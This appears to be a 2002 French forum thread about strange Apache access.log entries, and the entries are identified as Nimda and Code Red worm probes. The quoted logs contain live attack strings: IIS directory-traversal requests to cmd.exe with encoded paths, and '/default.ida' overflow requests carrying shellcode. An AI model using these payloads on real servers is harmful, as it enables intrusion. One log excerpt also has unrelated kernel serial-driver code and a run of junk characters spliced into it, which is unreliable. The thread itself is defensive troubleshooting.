Forum |  HardWare.fr | News | Articles | PC | S'identifier | S'inscrire | Shop Recherche
3883 connectés 

 


Dernière réponse
Sujet : [APACHE] .. euh .. c'est quoi ce bordel dans mon access.log ?
Gilbert Gosseyn Hm ça c'est tout neuf par contre ...

216.152.33.130 - - [03/Jul/2002:22:50:35 +0200] "GET /scripts/..%255c%255c../winnt/system32/cmd.exe?/c+dir" 404 -
62.251.158.130 - - [03/Jul/2002:23:07:04 +0200] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 282
62.251.158.130 - - [03/Jul/2002:23:07:05 +0200] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 280
62.251.158.130 - - [03/Jul/2002:23:07:08 +0200] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 290
62.251.158.130 - - [03/Jul/2002:23:07:10 +0200] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 290
62.251.158.130 - - [03/Jul/2002:23:07:12 +0200] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 304
62.251.158.130 - - [03/Jul/2002:23:07:14 +0200] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 321
62.251.158.130 - - [03/Jul/2002:23:07:17 +0200] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 321
62.251.158.130 - - [03/Jul/2002:23:07:20 +0200] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 337
62.251.158.130 - - [03/Jul/2002:23:07:23 +0200] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 303
62.251.158.130 - - [03/Jul/2002:23:07:25 +0200] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 303
62.251.158.130 - - [03/Jul/2002:23:07:28 +0200] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 303
216.239.46.96 - - [04/Jul/2002:00:24:32 +0200] "GET /robots.txt HTTP/1.0" 404 276


Preuve que Nimda fait encore des ravages ...


Votre réponse
Nom d'utilisateur    Pour poster, vous devez être inscrit sur ce forum .... si ce n'est pas le cas, cliquez ici !
Le ton de votre message                        
                       
Votre réponse


[b][i][u][strike][spoiler][fixed][cpp][url][email][img][*]   
 
   [quote]
 

Options

 
Vous avez perdu votre mot de passe ?


Vue Rapide de la discussion
Gilbert Gosseyn Hm ça c'est tout neuf par contre ...

216.152.33.130 - - [03/Jul/2002:22:50:35 +0200] "GET /scripts/..%255c%255c../winnt/system32/cmd.exe?/c+dir" 404 -
62.251.158.130 - - [03/Jul/2002:23:07:04 +0200] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 282
62.251.158.130 - - [03/Jul/2002:23:07:05 +0200] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 280
62.251.158.130 - - [03/Jul/2002:23:07:08 +0200] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 290
62.251.158.130 - - [03/Jul/2002:23:07:10 +0200] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 290
62.251.158.130 - - [03/Jul/2002:23:07:12 +0200] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 304
62.251.158.130 - - [03/Jul/2002:23:07:14 +0200] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 321
62.251.158.130 - - [03/Jul/2002:23:07:17 +0200] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 321
62.251.158.130 - - [03/Jul/2002:23:07:20 +0200] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 337
62.251.158.130 - - [03/Jul/2002:23:07:23 +0200] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 303
62.251.158.130 - - [03/Jul/2002:23:07:25 +0200] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 303
62.251.158.130 - - [03/Jul/2002:23:07:28 +0200] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 303
216.239.46.96 - - [04/Jul/2002:00:24:32 +0200] "GET /robots.txt HTTP/1.0" 404 276


Preuve que Nimda fait encore des ravages ...

Gilbert Gosseyn Bien possible :)
 
Dans le genre pas mal :

62.103.239.174 - - [15/Feb/2002:19:34:24 +0100] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 282
62.103.239.174 - - [15/Feb/2002:19:34:27 +0100] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 280
62.103.239.174 - - [15/Feb/2002:19:34:30 +0100] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 290
198.64.55.243 - - [15/Feb/2002:21:11:51 +0100] "GET /default.ida?NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0" 400 324
64.214.122.130 - - [16/Feb/2002:01:59:06 +0100] "GET /default.ida?NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0" 400 324


Un peu plus tard ...

172.189.56.52 - - [16/Feb/2002:22:08:39 +0100] "GET /favicon.ico HTTP/1.1" 404 289
205.208.210.35 - - [16/Feb/2002:22:37:38 +0100] "GET /default.ida?NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0" 400 324


Encore en février ...

62.174.165.228 - - [17/Feb/2002:08:20:22 +0100] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 282
62.174.165.228 - - [17/Feb/2002:08:20:24 +0100] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 280
62.174.165.228 - - [17/Feb/2002:08:20:26 +0100] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 290
62.174.165.228 - - [17/Feb/2002:08:20:28 +0100] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 290
62.174.165.228 - - [17/Feb/2002:08:20:29 +0100] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 304
62.174.165.228 - - [17/Feb/2002:08:20:31 +0100] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 321
62.174.165.228 - - [17/Feb/2002:08:20:40 +0100] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 321
62.174.165.228 - - [17/Feb/2002:08:20:43 +0100] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 337
62.174.165.228 - - [17/Feb/2002:08:20:45 +0100] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 303
62.174.165.228 - - [17/Feb/2002:08:20:47 +0100] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 303
62.174.165.228 - - [17/Feb/2002:08:20:49 +0100] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 303
62.174.165.228 - - [17/Feb/2002:08:20:51 +0100] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 303
62.174.165.228 - - [17/Feb/2002:08:20:53 +0100] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 287
62.174.165.228 - - [17/Feb/2002:08:20:55 +0100] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 287
62.174.165.228 - - [17/Feb/2002:08:21:00 +0100] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 304
62.174.165.228 - - [17/Feb/2002:08:21:05 +0100] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 304
212.150.58.186 - - [17/Feb/2002:13:35:50 +0100] "GET /default.ida?NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0" 400 324
172.188.5.158 - - [18/Feb/2002:00:18:35 +0100] "CONNECT irc.respublica.fr:6667 HTTP/1.0" 405 303
202.79.80.138 - - [18/Feb/2002:01:34:50 +0100] "GET /default.ida?NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0" 400 324


Ca c'est pas du nimda par contre :

80.11.149.71 - - [19/Feb/2002:22:03:05 +0100] "GET /forum/index.php HTTP/1.1" 404 293
4.61.11.90 - - [20/Feb/2002:10:54:47 +0100] "GET /upload/space.asp HTTP/1.1" 404 294


Une tentative de hack (ratée) :

193.248.128.203 - - [20/Feb/2002:12:15:32 +0100] "GET /images/evolution.png HTTP/1.1" 200 90829
                                                                                                                                                                                                                                          rial port is opened.  It
 * enables interrupts for a serial port. It also performs the  
 * serial-specific initialization for the tty structure.
 */
static int dz_open (struct tty_struct *tty, struct file *filp)
{
  struct dz_serial *info;
  int retval, line;
 
  line = MINOR(tty->device) - tty->driver.minor_start;
 
  /* The dz lines for the mouse/keyboard must be
   * opened using their respective drivers.
   */
  if ((line < 0) || (line >= DZ_NB_PORT))
    return -ENODEV;
 
  if ((line == DZ_KEYBOARD) || (line == DZ_MOUSE))
    return -ENODEV;
 
  info = lines[line];
  info->count++;
 
  tty->driver_data = info;
  info->tty = tty;
 
  /*
   * Start up serial port
   */
  retval = startup (info);
  if (retval)
    return retval;
 
 
 
  retval = block_til_ready (tty, filp, info);
  if (retval)
    return retval;
 
  if ((info->count == 1) && (info->flags & DZ_SPLIT_TERMIOS)) {
    if (tty->driver.subtype == SERIAL_TYPE_NORMAL)
      *tty->termios = info->normal_termios;
    else  
      *tty->termios = info->callout_termios;
    change_speed (info);
 
  }
 
  info->session = current->session;
  info->pgrp = current->pgrp;
  return 0;
}
 
static void show_serial_version (void)
{
  printk("%s%s\n", dz_name, dz_version);
}
 
 
int __init dz_init(void)
{
  int i;
  unsigned long flags;
  struct dz_serial *info;
 
  /* Setup base handler, and timer table. */
  init_bh (SERIAL_BH, do_serial_bh);
 
  show_serial_version ();
 
  memset(&serial_driver, 0, sizeof(struct tty_driver));
  serial_driver.magic = TTY_DRIVER_MAGIC;
  serial_driver.name = "ttyS";
  serial_driver.major = TTY_MAJOR;
  serial_driver.minor_start = 64;
  serial_driver.num = DZ_NB_PORT;
  serial_driver.type = TTY_DRIVER_TYPE_SERIAL;
  serial_driver.subtype = SERIAL_TYPE_NORMAL;
  serial_driver.init_termios = tty_std_termios;
 
  serial_driver.init_termios.c_cflag = B9600 | CS8 | CREAD | HUPCL | CLOCAL;
  serial_driver.flags = TTY_DRIVER_REAL_RAW;
  serial_driver.refcount = &serial_refcount;
  serial_driver.table = serial_table;
  serial_driver.termios = serial_termios;
  serial_driver.termios_locked = serial_termios_locked;
 
  serial_driver.open = dz_open;
  serial_driver.close = dz_close;
  serial_driver.write = dz_write;
  serial_driver.flush_chars = dz_flush_chars;
  serial_driver.write_room = dz_write_room;
  serial_driver.chars_in_buffer = dz_chars_in_buffer;
  serial_driver.flush_buffer = dz_flush_buffer;
  serial_driver.ioctl = dz_ioctl;
  serial_driver.throttle = dz_throttle;
  serial_driver.unthrottle = dz_unthrottle;
  serial_driver.send_xchar = dz_send_xchar;
  serial_driver.set_termios = dz_set_termios;
  serial_driver.stop = dz_stop;
  serial_driver.start = dz_start;
  serial_driver.hangup = dz_hangup;
 
  /*
   * The callout device is just like normal device except for
   * major number and the subtype code.
   */
  callout_driver = serial_driver;
  callout_driver.name = "cua";
  callout_driver.major = TTYAUX_MAJOR;
  callout_driver.subtype = SERIAL_TYPE_CALLOUT;
 
  if (tty_register_driver (&serial_driver))
    panic("Couldn't register serial driver\n" );
  if (tty_register_driver (&callout_driver))
    panic("Couldn't register callout driver\n" );
  save_flags(flags); cli();
 
  for (i=0; i < DZ_NB_PORT;  i++)  
    {
      info = &multi[i];  
      lines[i] = info;
    info->magic = SERIAL_MAGIC;
 
      if ((mips_machtype == MACH_DS23100) || (mips_machtype == MACH_DS5100))  
      info->port = (unsigned long) KN01_DZ11_BASE;
      else  
      info->port = (unsigned long) KN02_DZ11_BASE;
 
    info->line = i;
    info->tty = 0;
    info->close_delay = 50;
    info->closing_wait = 3000;
    info->x_char = 0;
    info->event = 0;
    info->count = 0;
    info->blocked_open = 0;
    info->tqueue.routine = do_softint;
    info->tqueue.data = info;
    info->tqueue_hangup.routine = do_serial_hangup;
    info->tqueue_hangup.data = info;
    info->callout_termios = callout_driver.init_termios;
    info->normal_termios = serial_driver.init_termios;
    init_waitqueue_head(&info->open_wait);  
    init_waitqueue_head(&info->close_wait);  
 
    /* If we are pointing to address zero then punt - not correctly
       set up in setup.c to handle this. */
    if (! info->port)
      return 0;
 
    printk("ttyS%02d at 0x%04x (irq = %d)\n", info->line, info->port, SERIAL);
  }
 
  /* reset the chip */
#ifndef CONFIG_SERIAL_CONSOLE
  dz_out(info, DZ_CSR, DZ_CLR);
  while ((tmp = dz_in(info,DZ_CSR)) & DZ_CLR) ;
  wbflush();
   
  /* enable scanning */
   dz_out(info, DZ_CSR, DZ_MSE);  
#endif
   
  /* order matters here... the trick is that flags
     is updated... in request_irq - to immediatedly obliterate
     it is unwise. */
  restore_flags(flags);
 
 
  if (request_irq (SERIAL, dz_interrupt, SA_INTERRUPT, "DZ", lines[0]))
    panic ("Unable to register DZ interrupt\n" );
 
  return 0;
}
 
#ifdef CONFIG_SERIAL_CONSOLE
static void dz_console_put_char (unsigned char ch)
{
  unsigned long flags;
  int  loops = 2500;
  unsigned short tmp = ch;
  /* this code sends stuff out to serial device - spinning its
      wheels and waiting. */
 
  /* force the issue - point it at lines[3]*/
  dz_console=&multi[CONSOLE_LINE];
 
  save_flags(flags);
  cli();
   
 
  /* spin our wheels */
  while (((dz_in(dz_console,DZ_CSR) & DZ_TRDY) != DZ_TRDY) &&  loops--)
    ;
   
  /* Actually transmit the character. */
  dz_out (dz_console, DZ_TDR, tmp);
 
  restore_flags(flags);  
}
/*  
 * -------------------------------------------------------------------
 * dz_console_print ()
 *
 * dz_console_print is registered for printk.
 * The console must be locked when we get here.
 * -------------------------------------------------------------------  
 */
static void dz_console_print (struct console *cons,  
         const char *str,  
         unsigned int count)
{
#ifdef DEBUG_DZ
  prom_printf((char *)str);
#endif
  while (count--)  
    {
    if (*str == '\n')
 dz_console_put_char ('\r');
      dz_console_put_char (*str++);
  }
}
 
static int dz_console_wait_key(struct console *co)
{
    return 0;
}
 
static kdev_t dz_console_device(struct console *c)
{
 return MKDEV(TTY_MAJOR, 64 + c->index);
}
 
static int __init dz_console_setup(struct conöööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööö break;
 case 9600:
 default:
  cflag |= DZ_B9600;
  break;
 }
 switch(bits) {
 case 7:
  cflag |= DZ_CS7;
  break;
 default:
 case 8:
  cflag |= DZ_CS8;
  break;
 }
 switch(parity) {
 case 'o': case 'O':
  cflag |= DZ_PARODD;
  break;
 case 'e': case 'E':
  cflag |= DZ_PARENB;
  break;
 }
 co->cflag = cflag;
 
 /* TOFIX: force to console line */
 dz_console = &multi[CONSOLE_LINE];
     if ((mips_machtype == MACH_DS23100) || (mips_machtype == MACH_DS5100))  
 dz_console->port = KN01_DZ11_BASE;
        else  
         dz_console->port = KN02_DZ11_BASE;  
 dz_console->line = CONSOLE_LINE;
 
 dz_out(dz_console, DZ_CSR, DZ_CLR);
 while ((tmp = dz_in(dz_console,DZ_CSR)) & DZ_CLR)
   ;
 
 /* enable scanning */
 dz_out(dz_console, DZ_CSR, DZ_MSE);  
 
        /*  Set up flags... */
 dz_console->cflags = 0;
 dz_console->cflags |= DZ_B9600;
 dz_console->cflags |= DZ_CS8;
 dz_console->cflags |= DZ_PARENB;
 dz_out (dz_console, DZ_LPR, dz_console->cflags);
 
 mask = 1 << dz_console->line;
 tmp = dz_in (dz_console, DZ_TCR);       /* read the TX flag */
 if (!(tmp & mask)) {
   tmp |= mask;                   /* set the TX flag */
   dz_out (dz_console, DZ_TCR, tmp);  
 }
 
 
 return 0;
}
 
static struct console dz_sercons = {
 name:  "ttyS",
 write:  dz_console_print,
 device:  dz_console_device,
 wait_key: dz_console_wait_key,
 setup:  dz_console_setup,
 flags:  CON_CONSDEV | CON_PRINTBUFFER,
 index:  CONSOLE_LINE,
};
 
void __init dz_serial_console_init(void)
{
 register_console(&dz_sercons);
}
 
#endif /* ifdef CONFIG_SERIAL_CONSOLE */
 
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              64.80.100.19 - - [20/Feb/2002:23:11:27 +0100] "GET / HTTP/1.1" 200 439


 
Bon je m'arrête la il y en a encore long ...

paranoidandroid

Guru a écrit a écrit :

Aucun problème Apache est insensible a Nimda.




 
[:wahoov]  
 
 
merci

Guru Aucun problème Apache est insensible a Nimda.
paranoidandroid

Guru a écrit a écrit :

Nimda s'attaque a n'importe quel serveur http, cependant seul un serveur IIS non patché sera vulnérable.




 
Donc avec apache 1.3.26 ça devrait aller ?
 
J'ai lancé un scan .. on verra bien

Guru Nimda s'attaque a n'importe quel serveur http, cependant seul un serveur IIS non patché sera vulnérable.
paranoidandroid

arphy a écrit a écrit :

10 sacs sur nimda aussi




 
nimda il est pas censé s'attaquer à iis ???

arphy 10 sacs sur nimda aussi
Prems Nimda ? :D
paranoidandroid 193.253.242.*** - - [04/Jul/2002:21:14:38 +0200] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 279  
193.253.242.*** - - [04/Jul/2002:21:14:50 +0200] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 277  
193.253.242.*** - - [04/Jul/2002:21:14:52 +0200] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 287  
193.253.242.*** - - [04/Jul/2002:21:14:54 +0200] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 287  
193.253.242.*** - - [04/Jul/2002:21:14:56 +0200] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 301  
193.253.241.** - - [04/Jul/2002:21:43:17 +0200] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 279  
193.253.241.** - - [04/Jul/2002:21:48:18 +0200] "-" 408 -  
 
 
C koi ces chemins ?
 
mes pages et mon root directory sont sur le lecteur W: !!!

Copyright © 1997-2025 Groupe LDLC (Signaler un contenu illicite / Données personnelles)